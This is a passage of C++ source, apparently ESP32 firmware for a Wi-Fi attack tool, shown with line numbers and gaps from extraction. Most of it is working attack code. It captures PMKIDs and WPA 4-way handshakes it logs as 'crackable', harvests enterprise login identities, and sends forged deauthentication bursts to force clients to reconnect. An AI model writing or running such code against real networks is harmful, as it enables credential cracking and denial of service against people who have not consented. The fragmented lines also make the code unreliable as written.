1052 rec.sae_len = sae_body_len;
1053 rec.sae_seq = (uint8_t)auth_seq;
1054 rec.is_full = (auth_seq == 2);
1061 if (len < 6 || !_eapolCb)
return;
1062 const uint8_t *ie = payload + 6;
1063 uint16_t ie_len = (len > 6) ? len - 6 : 0;
1064 const uint8_t *bssid = hdr->addr2;
1065 const uint8_t *sta = hdr->addr1;
1067 uint16_t status = ((uint16_t)payload[2]) | ((uint16_t)payload[3] << 8);
1068 if (!_fishAssocLogged) {
1069 _fishAssocLogged =
true;
1070 _log(
"[AssocResp] from %02X:%02X:%02X:%02X:%02X:%02X status=%d\n",
1071 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], status);
1073 if (status != 0)
return;
1076 while (pos + 2 <= ie_len) {
1077 uint8_t tag = ie[pos];
1078 uint8_t tlen = ie[pos + 1];
1079 if (pos + 2 + tlen > ie_len)
break;
1080 if (tag == 48 && tlen >= 20) {
1081 const uint8_t *rsn = ie + pos + 2;
1082 uint16_t rlen = tlen;
1083 uint16_t off = 2; off += 4;
1084 uint16_t pw_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1085 off += 2 + pw_cnt * 4;
1086 uint16_t akm_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1087 off += 2 + akm_cnt * 4;
1089 uint16_t pmkid_cnt = ((uint16_t)rsn[off]) | ((uint16_t)rsn[off+1] << 8);
1091 if (pmkid_cnt > 0 && off + 16 <= rlen) {
1092 const uint8_t *pmkid_raw = rsn + off;
1093 bool pmkid_valid =
false;
1094 for (
int pi = 0; pi < 16; pi++)
if (pmkid_raw[pi]) { pmkid_valid =
true;
break; }
1097 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1098 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1099 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1100 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1101 _lookupEnc(bssid, rec.enc);
1102 memcpy(rec.pmkid, pmkid_raw, 16);
1103 _log(
"[PMKID] AssocResp BSSID=%02X:%02X:%02X:%02X:%02X:%02X\n",
1104 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1105 _markCaptured(bssid); _markCapturedSsidGroup(rec.ssid, rec.ssid_len);
1106 if (_eapolCb) _eapolCb(rec);
1115void Politician::_handleData(
const ieee80211_hdr_t *hdr,
const uint8_t *payload,
1116 uint16_t len, int8_t rssi) {
1118 if (payload[0] != 0xAA || payload[1] != 0xAA || payload[2] != 0x03)
return;
1119 if (payload[3] != 0x00 || payload[4] != 0x00 || payload[5] != 0x00)
return;
1123 _channelTrafficSeen =
true;
1128 const uint8_t *bssid;
1131 if (toDS && !fromDS) {
1132 bssid = hdr->addr1; sta = hdr->addr2;
1133 }
else if (!toDS && fromDS) {
1134 bssid = hdr->addr2; sta = hdr->addr1;
1136 bssid = hdr->addr3; sta = hdr->addr2;
1142 if (eapol_len >= 4) {
1143 if (eapol[1] == 0x00 && _identityCb !=
nullptr) {
1145 _parseEapIdentity(bssid, sta, eapol, eapol_len, rssi);
1146 }
else if (eapol[1] == 0x03) {
1148 _parseEapol(bssid, sta, eapol, eapol_len, rssi);
1153bool Politician::_parseEapol(
const uint8_t *bssid,
const uint8_t *sta,
1154 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1155 if (_isCaptured(bssid))
return false;
1156 if (len < 4 || eapol[1] != 0x03)
return false;
1159 static const uint8_t zero_mac[6] = {};
1160 if (memcmp(_cfg.
sta_filter, zero_mac, 6) != 0 && memcmp(sta, _cfg.
sta_filter, 6) != 0)
return false;
1162 const uint8_t *key = eapol + 4;
1163 uint16_t key_len = len - 4;
1171 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1172 rec.type =
CAP_EAPOL_GROUP; rec.channel = _rxChannel; rec.rssi = rssi;
1173 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1174 _lookupSsid(bssid, rec.ssid, rec.ssid_len);
1175 _lookupEnc(bssid, rec.enc);
1176 _log(
"[EAPOL] Group key handshake from %02X:%02X:%02X:%02X:%02X:%02X\n",
1177 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1189 if (msg == 0)
return false;
1191 _log(
"[EAPOL] M%d from %02X:%02X:%02X:%02X:%02X:%02X ch=%d rssi=%d\n",
1192 msg, bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], _rxChannel, rssi);
1194 if (msg == 3 || msg == 4) {
1195 _recordClientForAp(bssid, sta, rssi);
1198 if (_hopping && _m1Locked) {
1202 Session *sess = _findSession(bssid, sta);
1203 if (!sess)
return true;
1206 uint16_t store_len = (len < 256) ? len : 256;
1207 if (sess->m3_off + store_len <=
sizeof(sess->eapol_buffer)) {
1208 memcpy(sess->eapol_buffer + sess->m3_off, eapol, store_len);
1209 sess->m3_len = store_len;
1210 sess->flags.has_m3 =
true;
1211 sess->m4_off = sess->m3_off + store_len;
1213 }
else if (msg == 4) {
1214 uint16_t store_len = (len < 256) ? len : 256;
1215 if (sess->m4_off + store_len <=
sizeof(sess->eapol_buffer)) {
1216 memcpy(sess->eapol_buffer + sess->m4_off, eapol, store_len);
1217 sess->m4_len = store_len;
1218 sess->flags.has_m4 =
true;
1222 if (sess->flags.has_m1 && sess->flags.has_m2) {
1223 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1225 rec.channel = sess->channel; rec.rssi = sess->rssi;
1226 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1227 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1228 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1229 memcpy(rec.mic, sess->mic, 16);
1230 memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len); rec.eapol_m2_len = sess->m2_len;
1231 memcpy(rec.eapol_m3, sess->eapol_buffer + sess->m3_off, sess->m3_len); rec.eapol_m3_len = sess->m3_len;
1232 memcpy(rec.eapol_m4, sess->eapol_buffer + sess->m4_off, sess->m4_len); rec.eapol_m4_len = sess->m4_len;
1233 rec.has_anonce =
true; rec.has_snonce = sess->flags.has_m2; rec.has_mic =
true;
1234 rec.has_m3 = sess->flags.has_m3; rec.has_m4 =
true;
1237 _log(
"[EAPOL] Full 4-Way Handshake captured for %02X:%02X:%02X:%02X:%02X:%02X\n",
1238 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1240 if (_eapolCb) _eapolCb(rec);
1241 sess->flags.active =
false;
1247 Session *sess = _findSession(bssid, sta);
1248 if (!sess) sess = _createSession(bssid, sta);
1249 if (!sess)
return false;
1251 sess->channel = _rxChannel; sess->rssi = rssi;
1254 bool isOurFishM1 = (_fishState != FISH_IDLE) && memcmp(bssid, _fishBssid, 6) == 0;
1255 if (!isOurFishM1 && !(_attackMask &
ATTACK_PASSIVE))
return false;
1260 sess->flags.has_m1 =
true;
1262 if (_hopping && !_m1Locked) {
1263 _probeLocked =
false; _m1Locked =
true;
1266 if (_m1Locked && memcmp(sta, _ownStaMac, 6) != 0) _m1LockEndMs =
millis() + _cfg.
m1_lock_ms;
1271 for (uint16_t i = 0; i + 22 <= kdata_len; i++) {
1272 if (kdata[i] == 0xDD && kdata[i+2] == 0x00 && kdata[i+3] == 0x0F && kdata[i+4] == 0xAC && kdata[i+5] == 0x04) {
1273 const uint8_t *pmkid_raw = kdata + i + 6;
1274 bool pmkid_valid =
false;
1275 for (
int pi = 0; pi < 16; pi++)
if (pmkid_raw[pi]) { pmkid_valid =
true;
break; }
1278 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1279 rec.type =
CAP_PMKID; rec.channel = _rxChannel; rec.rssi = rssi;
1280 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6);
1281 memcpy(rec.ssid, sess->ssid,
sizeof(sess->ssid)); rec.ssid_len = sess->ssid_len;
1282 _lookupEnc(bssid, rec.enc);
1283 memcpy(rec.pmkid, pmkid_raw, 16);
1284 _log(
"[PMKID] Found for %02X:%02X:%02X:%02X:%02X:%02X\n",
1285 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
1286 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1287 if (_eapolCb) _eapolCb(rec);
1293 }
else if (msg == 2) {
1294 if (memcmp(sta, _ownStaMac, 6) == 0)
return false;
1296 if (sess->flags.has_m1 && memcmp(key +
EAPOL_REPLAY_COUNTER, sess->m1_replay_counter, 8) != 0)
return false;
1299 if (_hopping && _m1Locked) {
1308 uint16_t store_len = (len < 256) ? len : 256;
1310 memcpy(sess->eapol_buffer + sess->m2_off, eapol, store_len); sess->m2_len = store_len;
1314 sess->m3_off = store_len;
1315 sess->m4_off = store_len;
1317 bool is_new_m2 = !sess->flags.has_m2;
1318 sess->flags.has_m2 =
true;
1319 _recordClientForAp(bssid, sta, rssi);
1321 if (sess->flags.has_m1) {
1322 static const uint8_t zero_mic[16] = {};
1323 if (memcmp(sess->mic, zero_mic, 16) == 0) {
1324 _log(
"[EAPOL] M2 MIC is zero — discarding malformed frame\n");
1325 sess->flags.active =
false;
1328 uint32_t now_cap =
millis();
1329 if (memcmp(bssid, _lastCapBssid, 6) == 0 && memcmp(sta, _lastCapSta, 6) == 0 &&
1335 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1337 rec.channel = sess->channel; rec.rssi = sess->rssi;
1338 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1339 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1340 memcpy(rec.anonce, sess->anonce, 32); memcpy(rec.snonce, sess->snonce, 32);
1341 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1342 rec.eapol_m2_len = sess->m2_len; rec.has_anonce =
true; rec.has_snonce =
true; rec.has_mic =
true;
1343 rec.is_full =
false;
1345 _log(
"[EAPOL] Crackable pair (M1+M2) captured for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s\n",
1346 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1349 memcpy(_lastCapBssid, bssid, 6); memcpy(_lastCapSta, sta, 6); _lastCapMs = now_cap;
1350 _markCaptured(bssid); _markCapturedSsidGroup(sess->ssid, sess->ssid_len);
1351 if (_eapolCb) _eapolCb(rec);
1356 HandshakeRecord rec; memset(&rec, 0,
sizeof(rec));
1358 rec.channel = sess->channel; rec.rssi = sess->rssi;
1359 memcpy(rec.bssid, bssid, 6); memcpy(rec.sta, sta, 6); memcpy(rec.ssid, sess->ssid, 33);
1360 rec.ssid_len = sess->ssid_len; _lookupEnc(bssid, rec.enc);
1361 memcpy(rec.mic, sess->mic, 16); memcpy(rec.eapol_m2, sess->eapol_buffer + sess->m2_off, sess->m2_len);
1362 rec.eapol_m2_len = sess->m2_len; rec.has_mic =
true;
1363 _log(
"[EAPOL] Half-handshake (M2-only) for %02X:%02X:%02X:%02X:%02X:%02X SSID=%s — pivoting\n",
1364 bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], sess->ssid);
1365 if (_eapolCb) _eapolCb(rec);
1371 if (_fishState == FISH_IDLE) {
1373 _log(
"[EAPOL] Half-handshake pivot skipped — CSA/Deauth required to complete capture\n");
1375 memcpy(_fishBssid, bssid, 6);
1376 memcpy(_fishSsid, sess->ssid, sess->ssid_len); _fishSsid[sess->ssid_len] =
'\0';
1377 _fishSsidLen = sess->ssid_len; _fishChannel = sess->channel; _fishStartMs =
millis();
1378 memcpy(_fishSta, sta, 6);
1379 _fishState = FISH_CSA_WAIT; _csaSecondBurstSent =
false;
1381 if (_attackMask &
ATTACK_CSA) _sendCsaBurst();
1387 _csaFallbackMs =
millis() + 1000;
1400void Politician::_parseEapIdentity(
const uint8_t *bssid,
const uint8_t *sta,
1401 const uint8_t *eapol, uint16_t len, int8_t rssi) {
1403 if (len < 9)
return;
1406 if (eapol[4] != 0x02)
return;
1409 if (eapol[8] != 0x01)
return;
1411 uint16_t eap_len = ((uint16_t)eapol[6] << 8) | eapol[7];
1412 if (eap_len < 5)
return;
1415 uint16_t id_len = eap_len - 5;
1418 if (9 + id_len > len)
return;
1420 EapIdentityRecord rec;
1421 memset(&rec, 0,
sizeof(rec));
1422 memcpy(rec.bssid, bssid, 6);
1423 memcpy(rec.client, sta, 6);
1424 rec.channel = _rxChannel;
1427 uint16_t copy_len = (id_len < 64) ? id_len : 64;
1428 memcpy(rec.identity, eapol + 9, copy_len);
1429 rec.identity[copy_len] =
'\0';
1431 _log(
"[Enterprise] Harvested Identity '%s' from %02X:%02X:%02X:%02X:%02X:%02X\n",
1432 rec.identity, sta[0], sta[1], sta[2], sta[3], sta[4], sta[5]);
1434 if (_identityCb) _identityCb(rec);
1437void Politician::_parseSsid(
const uint8_t *ie, uint16_t ie_len,
char *out, uint8_t &out_len) {
1438 out[0] =
'\0'; out_len = 0; uint16_t pos = 0;
1439 while (pos + 2 <= ie_len) {
1440 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1441 if (pos + 2 + len > ie_len)
break;
1442 if (tag == 0 && len > 0 && len <= 32) {
1443 memcpy(out, ie + pos + 2, len); out[len] =
'\0'; out_len = len;
return;
1449uint8_t Politician::_classifyEnc(
const uint8_t *ie, uint16_t ie_len) {
1450 bool has_rsn =
false, has_wpa =
false, is_enterprise =
false;
1452 while (pos + 2 <= ie_len) {
1453 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1454 if (pos + 2 + len > ie_len)
break;
1461 uint16_t pw_count = (ie[pos+8] | (ie[pos+9] << 8));
1462 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1464 if (akm_offset + 2 <= pos + 2 + len) {
1465 uint16_t akm_count = (ie[akm_offset] | (ie[akm_offset + 1] << 8));
1466 uint16_t list_offset = akm_offset + 2;
1468 for (
int i=0; i < akm_count; i++) {
1469 if (list_offset + 4 > pos + 2 + len)
break;
1471 if (ie[list_offset] == 0x00 && ie[list_offset+1] == 0x0F && ie[list_offset+2] == 0xAC && ie[list_offset+3] == 0x01) {
1472 is_enterprise =
true;
1479 if (tag == 221 && len >= 4 && ie[pos+2]==0x00 && ie[pos+3]==0x50 && ie[pos+4]==0xF2 && ie[pos+5]==0x01) has_wpa =
true;
1483 if (is_enterprise)
return 4;
1484 return has_rsn ? 3 : (has_wpa ? 2 : 0);
1487bool Politician::_detectWpa3Only(
const uint8_t *ie, uint16_t ie_len) {
1489 while (pos + 2 <= ie_len) {
1490 uint8_t tag = ie[pos];
1491 uint8_t len = ie[pos + 1];
1492 if (pos + 2 + len > ie_len)
break;
1494 if (tag == 48 && len >= 10) {
1495 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1496 uint16_t akm_offset = pos + 10 + (pw_count * 4);
1497 if (akm_offset + 2 > pos + 2 + len) { pos += 2 + len;
continue; }
1499 uint16_t akm_count = ie[akm_offset] | (ie[akm_offset + 1] << 8);
1500 uint16_t list_off = akm_offset + 2;
1502 bool has_sae =
false;
1503 bool has_wpa2psk =
false;
1504 for (uint16_t i = 0; i < akm_count; i++) {
1505 if (list_off + 4 > pos + 2 + len)
break;
1506 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC) {
1507 if (ie[list_off+3] == 0x02) has_wpa2psk =
true;
1508 if (ie[list_off+3] == 0x08) has_sae =
true;
1515 if (list_off + 2 <= pos + 2 + len) {
1516 uint16_t caps = ie[list_off] | (ie[list_off + 1] << 8);
1517 mfpr = (caps & 0x0040) != 0;
1520 if ((has_sae && !has_wpa2psk) || mfpr)
return true;
1527bool Politician::_detectFt(
const uint8_t *ie, uint16_t ie_len) {
1529 while (pos + 2 <= ie_len) {
1530 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1531 if (pos + 2 + len > ie_len)
break;
1532 if (tag == 48 && len >= 10) {
1533 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1534 uint16_t akm_off = pos + 10 + (pw_count * 4);
1535 if (akm_off + 2 <= pos + 2 + len) {
1536 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1537 uint16_t list_off = akm_off + 2;
1538 for (uint16_t i = 0; i < akm_count; i++) {
1539 if (list_off + 4 > pos + 2 + len)
break;
1541 if (ie[list_off] == 0x00 && ie[list_off+1] == 0x0F && ie[list_off+2] == 0xAC &&
1542 (ie[list_off+3] == 0x03 || ie[list_off+3] == 0x04))
return true;
1552void Politician::_detectPmfFlags(
const uint8_t *ie, uint16_t ie_len,
bool &pmf_capable,
bool &pmf_required) {
1553 pmf_capable =
false; pmf_required =
false;
1555 while (pos + 2 <= ie_len) {
1556 uint8_t tag = ie[pos]; uint8_t len = ie[pos + 1];
1557 if (pos + 2 + len > ie_len)
break;
1558 if (tag == 48 && len >= 10) {
1559 uint16_t pw_count = ie[pos + 8] | (ie[pos + 9] << 8);
1560 uint16_t akm_off = pos + 10 + (pw_count * 4);
1561 if (akm_off + 2 <= pos + 2 + len) {
1562 uint16_t akm_count = ie[akm_off] | (ie[akm_off + 1] << 8);
1563 uint16_t caps_off = akm_off + 2 + akm_count * 4;
1564 if (caps_off + 2 <= pos + 2 + len) {
1565 uint16_t caps = ie[caps_off] | (ie[caps_off + 1] << 8);
1566 pmf_capable = (caps & 0x0080) != 0;
1567 pmf_required = (caps & 0x0040) != 0;
1575Politician::Session* Politician::_findSession(
const uint8_t *bssid,
const uint8_t *sta) {
1576 for (
int i = 0; i < MAX_SESSIONS; i++) {
1577 if (_sessions[i].flags.active && memcmp(_sessions[i].bssid, bssid, 6) == 0 && memcmp(_sessions[i].sta, sta, 6) == 0)
return &_sessions[i];
1582Politician::Session* Politician::_createSession(
const uint8_t *bssid,
const uint8_t *sta) {
1583 for (
int i = 0; i < MAX_SESSIONS; i++) {
1584 if (!_sessions[i].flags.active) {
1585 memset(&_sessions[i], 0,
sizeof(Session));
1586 memcpy(_sessions[i].bssid, bssid, 6); memcpy(_sessions[i].sta, sta, 6);
1587 _sessions[i].flags.active =
true; _sessions[i].created_ms =
millis();
1588 _lookupSsid(bssid, _sessions[i].ssid, _sessions[i].ssid_len);
1589 return &_sessions[i];
1593 int oldest_idx = 0; uint32_t oldest_ms = UINT32_MAX;
1594 int incomplete_idx = -1; uint32_t incomplete_oldest = UINT32_MAX;
1595 for (
int i = 0; i < MAX_SESSIONS; i++) {
1596 if (_sessions[i].created_ms < oldest_ms) { oldest_ms = _sessions[i].created_ms; oldest_idx = i; }
1597 if (!(_sessions[i].flags.has_m1 && _sessions[i].flags.has_m2) && _sessions[i].created_ms < incomplete_oldest) {
1598 incomplete_oldest = _sessions[i].created_ms; incomplete_idx = i;
1601 int evict = (incomplete_idx >= 0) ? incomplete_idx : oldest_idx;
1602 _log(
"[Session] Evicting session for %02X:%02X:%02X:%02X:%02X:%02X (has_m1=%d has_m2=%d) — session table full\n",
1603 _sessions[evict].bssid[0], _sessions[evict].bssid[1], _sessions[evict].bssid[2],
1604 _sessions[evict].bssid[3], _sessions[evict].bssid[4], _sessions[evict].bssid[5],
1605 _sessions[evict].flags.has_m1, _sessions[evict].flags.has_m2);
1606 memset(&_sessions[evict], 0,
sizeof(Session));
1607 memcpy(_sessions[evict].bssid, bssid, 6); memcpy(_sessions[evict].sta, sta, 6);
1608 _sessions[evict].flags.active =
true; _sessions[evict].created_ms =
millis();
1609 _lookupSsid(bssid, _sessions[evict].ssid, _sessions[evict].ssid_len);
1610 return &_sessions[evict];
1613Politician::ApCacheEntry* Politician::_cacheAp(
const uint8_t *bssid,
const char *ssid, uint8_t ssid_len,
1614 uint8_t enc, uint8_t channel, int8_t rssi,
1615 bool is_wpa3_only,
bool wps,
1616 bool pmf_capable,
bool pmf_required,
1617 bool ft_capable, uint16_t sta_count, uint8_t chan_util,
1618 uint8_t venue_group, uint8_t venue_type, uint8_t network_type) {
1619 if (ssid_len > 32) ssid_len = 32;
1621 if (ssid_len > 0 && !(_cfg.
enc_filter_mask & (1 << enc)))
return nullptr;
1624 if (ssid_len > 0 && _cfg.
ssid_filter[0] !=
'\0') {
1626 if (ssid_len != strlen(_cfg.
ssid_filter) || memcmp(ssid, _cfg.
ssid_filter, ssid_len) != 0)
return nullptr;
1628 if (strstr(ssid, _cfg.
ssid_filter) ==
nullptr)
return nullptr;
1633 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1634 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1635 memcpy(_apCache[i].ssid, ssid, ssid_len + 1); _apCache[i].ssid_len = ssid_len;
1636 _apCache[i].enc = enc; _apCache[i].channel = channel;
1637 _apCache[i].rssi = (int8_t)((_apCache[i].rssi * 4 + rssi) / 5);
1638 _apCache[i].flags.is_wpa3_only = is_wpa3_only;
1639 _apCache[i].flags.wps_enabled = wps;
1640 _apCache[i].flags.pmf_capable = pmf_capable;
1641 _apCache[i].flags.pmf_required = pmf_required;
1642 _apCache[i].flags.ft_capable = ft_capable;
1643 _apCache[i].last_seen_ms = now;
1644 _apCache[i].sta_count = sta_count;
1645 _apCache[i].chan_util = chan_util;
1646 _apCache[i].venue_group = venue_group;
1647 _apCache[i].venue_type = venue_type;
1648 _apCache[i].network_type = network_type;
1649 if (sta_count > 0) _apCache[i].flags.has_active_clients =
true;
1650 if (ssid_len > 0) _apCache[i].flags.is_hidden =
false;
1651 if (_apCache[i].beacon_count < 0xFFFF) _apCache[i].beacon_count++;
1652 return &_apCache[i];
1657 uint32_t oldest_ms = UINT32_MAX;
1658 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1659 if (!_apCache[i].flags.active) {
1663 if (_apCache[i].last_seen_ms < oldest_ms) {
1664 oldest_ms = _apCache[i].last_seen_ms;
1668 if (slot == -1) slot = 0;
1670 _apCache[slot].flags.active =
true; _apCache[slot].last_probe_ms = 0;
1671 _apCache[slot].last_stimulate_ms = 0; _apCache[slot].first_seen_ms = now; _apCache[slot].last_seen_ms = now;
1672 _apCache[slot].last_hidden_probe_ms = 0;
1673 _apCache[slot].known_sta_count = 0;
1674 _apCache[slot].beacon_count = 1;
1675 _apCache[slot].total_attempts = 0;
1676 _apCache[slot].flags.is_hidden = (ssid_len == 0);
1677 _apCache[slot].flags.wps_enabled = wps;
1678 _apCache[slot].flags.pmf_capable = pmf_capable;
1679 _apCache[slot].flags.pmf_required = pmf_required;
1680 _apCache[slot].flags.ft_capable = ft_capable;
1681 _apCache[slot].sta_count = sta_count;
1682 _apCache[slot].chan_util = chan_util;
1683 _apCache[slot].venue_group = venue_group;
1684 _apCache[slot].venue_type = venue_type;
1685 _apCache[slot].network_type = network_type;
1686 _apCache[slot].flags.has_active_clients = (sta_count > 0);
1687 memcpy(_apCache[slot].bssid, bssid, 6); memcpy(_apCache[slot].ssid, ssid, ssid_len + 1);
1688 _apCache[slot].ssid_len = ssid_len; _apCache[slot].enc = enc; _apCache[slot].channel = channel;
1689 _apCache[slot].rssi = rssi; _apCache[slot].flags.is_wpa3_only = is_wpa3_only;
1692 if (_rogueApCb && ssid_len > 0) {
1693 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1694 if (i == slot || !_apCache[i].flags.active)
continue;
1695 if (_apCache[i].channel != channel)
continue;
1696 if (_apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
1697 if (memcmp(_apCache[i].bssid, bssid, 6) == 0)
continue;
1699 memset(&rec, 0,
sizeof(rec));
1700 memcpy(rec.known_bssid, _apCache[i].bssid, 6);
1701 memcpy(rec.rogue_bssid, bssid, 6);
1702 memcpy(rec.ssid, ssid, ssid_len + 1);
1703 rec.ssid_len = ssid_len;
1704 rec.channel = channel;
1710 return &_apCache[slot];
1713bool Politician::_lookupSsid(
const uint8_t *bssid,
char *out_ssid, uint8_t &out_len) {
1714 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1715 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1716 memcpy(out_ssid, _apCache[i].ssid, _apCache[i].ssid_len + 1); out_len = _apCache[i].ssid_len;
return true;
1719 out_ssid[0] =
'\0'; out_len = 0;
return false;
1723 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return 0;
1725 for (
int i = 0; i < MAX_AP_CACHE; i++)
if (_apCache[i].flags.active) n++;
1726 xSemaphoreGiveRecursive(_lock);
1731 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
1734 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1735 if (!_apCache[i].flags.active)
continue;
1737 memcpy(out.
bssid, _apCache[i].bssid, 6);
1738 memcpy(out.
ssid, _apCache[i].ssid, 33);
1739 out.
ssid_len = _apCache[i].ssid_len;
1740 out.
enc = _apCache[i].enc;
1741 out.
channel = _apCache[i].channel;
1742 out.
rssi = _apCache[i].rssi;
1747 out.
captured = _isCaptured(_apCache[i].bssid);
1748 out.
ft_capable = _apCache[i].flags.ft_capable;
1751 memcpy(out.
country, _apCache[i].country, 3);
1754 out.
is_hidden = _apCache[i].flags.is_hidden;
1764 xSemaphoreGiveRecursive(_lock);
1769 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
1771 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1772 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
1773 memcpy(out.
bssid, _apCache[i].bssid, 6);
1774 memcpy(out.
ssid, _apCache[i].ssid, 33);
1775 out.
ssid_len = _apCache[i].ssid_len;
1776 out.
enc = _apCache[i].enc;
1777 out.
channel = _apCache[i].channel;
1778 out.
rssi = _apCache[i].rssi;
1783 out.
captured = _isCaptured(_apCache[i].bssid);
1784 out.
ft_capable = _apCache[i].flags.ft_capable;
1787 memcpy(out.
country, _apCache[i].country, 3);
1790 out.
is_hidden = _apCache[i].flags.is_hidden;
1798 xSemaphoreGiveRecursive(_lock);
1803 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return 0;
1805 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1806 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1807 count = _apCache[i].known_sta_count;
break;
1810 xSemaphoreGiveRecursive(_lock);
1815 if (!_lock || xSemaphoreTakeRecursive(_lock, pdMS_TO_TICKS(50)) != pdTRUE)
return false;
1817 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1818 if (!_apCache[i].flags.active || memcmp(_apCache[i].bssid, bssid, 6) != 0)
continue;
1819 if (idx >= 0 && idx < _apCache[i].known_sta_count) {
1820 memcpy(out_sta, _apCache[i].known_stas[idx], 6);
1825 xSemaphoreGiveRecursive(_lock);
1829bool Politician::_lookupEnc(
const uint8_t *bssid, uint8_t &out_enc) {
1830 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1831 if (_apCache[i].flags.active && memcmp(_apCache[i].bssid, bssid, 6) == 0) {
1832 out_enc = _apCache[i].enc;
return true;
1835 out_enc = 0;
return false;
1838bool Politician::_isCaptured(
const uint8_t *bssid)
const {
1839 for (
int i = 0; i < _ignoreCount; i++)
if (memcmp(_ignoreList[i], bssid, 6) == 0)
return true;
1841 int left = 0, right = _capturedCount - 1;
1842 while (left <= right) {
1843 int mid = left + (right - left) / 2;
1844 int cmp = memcmp(_captured[mid], bssid, 6);
1845 if (cmp == 0)
return true;
1846 if (cmp < 0) left = mid + 1;
1847 else right = mid - 1;
1852void Politician::_sendDeauthBurst(uint8_t count,
const uint8_t *sta) {
1853 static const uint8_t BROADCAST[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
1854 const uint8_t *da = (_cfg.
unicast_deauth && sta !=
nullptr) ? sta : BROADCAST;
1856 uint8_t deauth[26] = {
1857 0xC0, 0x00, 0x00, 0x00,
1858 da[0], da[1], da[2], da[3], da[4], da[5],
1859 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
1860 _fishBssid[0], _fishBssid[1], _fishBssid[2], _fishBssid[3], _fishBssid[4], _fishBssid[5],
1865 static const uint8_t REASONS[] = { 7, 1, 2, 4, 8, 15 };
1866 uint8_t num_reasons =
sizeof(REASONS);
1868 for (
int i = 0; i < count; i++) {
1869 deauth[0] = (i % 2 == 0) ? 0xC0 : 0xA0;
1870 deauth[22] = (i << 4) & 0xFF;
1872 deauth[24] = REASONS[i % num_reasons];
1874 esp_wifi_80211_tx(WIFI_IF_STA, deauth,
sizeof(deauth),
false);
1877 _log(
"[Deauth] Sent %s burst (Deauth/Disassoc) on ch%d (%s)\n", _cfg.
deauth_reason_cycling ?
"Fuzzing" :
"Static", _fishChannel, (da[0] == 0xFF) ?
"broadcast" :
"unicast");
1880void Politician::_markCapturedSsidGroup(
const char *ssid, uint8_t ssid_len) {
1881 if (ssid_len == 0)
return;
1882 for (
int i = 0; i < MAX_AP_CACHE; i++) {
1883 if (!_apCache[i].flags.active || _apCache[i].ssid_len != ssid_len || memcmp(_apCache[i].ssid, ssid, ssid_len) != 0)
continue;
1884 if (!_isCaptured(_apCache[i].bssid)) _markCaptured(_apCache[i].bssid);
1888void Politician::_markCaptured(
